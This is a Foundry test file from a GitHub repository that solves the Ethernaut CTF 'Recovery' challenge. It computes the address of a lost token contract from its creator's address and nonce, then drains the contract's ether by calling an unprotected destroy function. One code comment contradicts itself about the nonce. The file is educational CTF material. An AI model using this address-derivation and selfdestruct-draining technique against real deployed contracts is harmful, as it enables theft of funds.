-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRecoveryExploit.t.sol
92 lines (78 loc) · 3.47 KB
/
RecoveryExploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import '../../src/EthernautCTF/Recovery.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';
contract RecoveryExploit is Test {
Recovery target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');
function setUp() public {
vm.startPrank(deployer);
target = new Recovery();
console.log('Target contract deployed');
vm.deal(deployer, 10 ether);
string memory tokenName = 'MyFancyToken';
uint256 initialSupply = 100;
target.generateToken(tokenName, initialSupply);
console.log('Deploy the first SimpleToken contract');
address firstSimpleTokenAddress = 0x0d5C87e3905Da4B351d605a0d89953aF60eF667a;
SimpleToken token = SimpleToken(payable(firstSimpleTokenAddress));
(bool success, ) = address(token).call{value: 0.001 ether}('');
require(success, 'Call failed');
console.log(
'The deployer sends ether to the contract but then forget about the address...'
);
vm.stopPrank();
}
function testNaiveExploit() public {
// The generated tokens will always have the same address if the constructor args do not change.
// In this case, the adress of the first generated token is 0x0d5C87e3905Da4B351d605a0d89953aF60eF667a.
address tokenAddress = 0x0d5C87e3905Da4B351d605a0d89953aF60eF667a;
console.log('First SimpleToken address: %s', tokenAddress);
SimpleToken token = SimpleToken(payable(tokenAddress));
// Check the contract balance before the exploit.
uint256 balance = address(token).balance;
assertEq(balance, 0.001 ether);
console.log('Balance of the token contract: %d wei', balance);
// Destroy the contract to get the ether back.
token.destroy(payable(exploiter));
console.log('The exploiter finds the address and withdraws the funds');
// Check the contract balance after the exploit.
balance = address(tokenAddress).balance;
assertEq(balance, 0 ether);
console.log('New balance of the token contract: %d wei', balance);
}
function testSmartExploit() public {
// The address of an Ethereum contract is deterministically computed from the address of its creator (sender)
// and its nonce (how many transactions the creator has sent). The sender and nonce are RLP-encoded
// and then hashed with keccak256.
address tokenAddress = address(
uint160(
uint256(
keccak256(
abi.encodePacked(
bytes1(0xd6),
bytes1(0x94),
address(target), // The address of the Recovery contract (the creator).
bytes1(0x01) // The nonce of the Recovery contract is zero since it never deployed any other contract (and the nonce starts at one, not zero).
)
)
)
)
);
console.log('First SimpleToken address: %s', tokenAddress);
SimpleToken token = SimpleToken(payable(tokenAddress));
// Check the contract balance before the exploit.
uint256 balance = address(token).balance;
assertEq(balance, 0.001 ether);
console.log('Balance of the token contract: %d wei', balance);
// Destroy the contract to get the ether back.
token.destroy(payable(exploiter));
console.log('The exploiter finds the address and withdraws the funds');
// Check the contract balance after the exploit.
balance = address(tokenAddress).balance;
assertEq(balance, 0 ether);
console.log('New balance of the token contract: %d wei', balance);
}
}